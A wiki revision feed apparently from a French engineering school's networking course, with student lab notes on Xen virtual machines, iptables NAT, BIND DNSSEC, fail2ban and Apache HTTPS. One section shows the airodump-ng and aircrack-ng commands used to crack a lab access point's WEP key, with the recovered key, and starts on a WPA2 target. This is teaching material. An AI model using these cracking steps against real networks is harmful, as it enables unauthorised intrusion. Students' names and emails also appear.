|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|22&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCédric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12151</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12151"/>
		<updated>2026-02-10T14:46:45Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12149</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
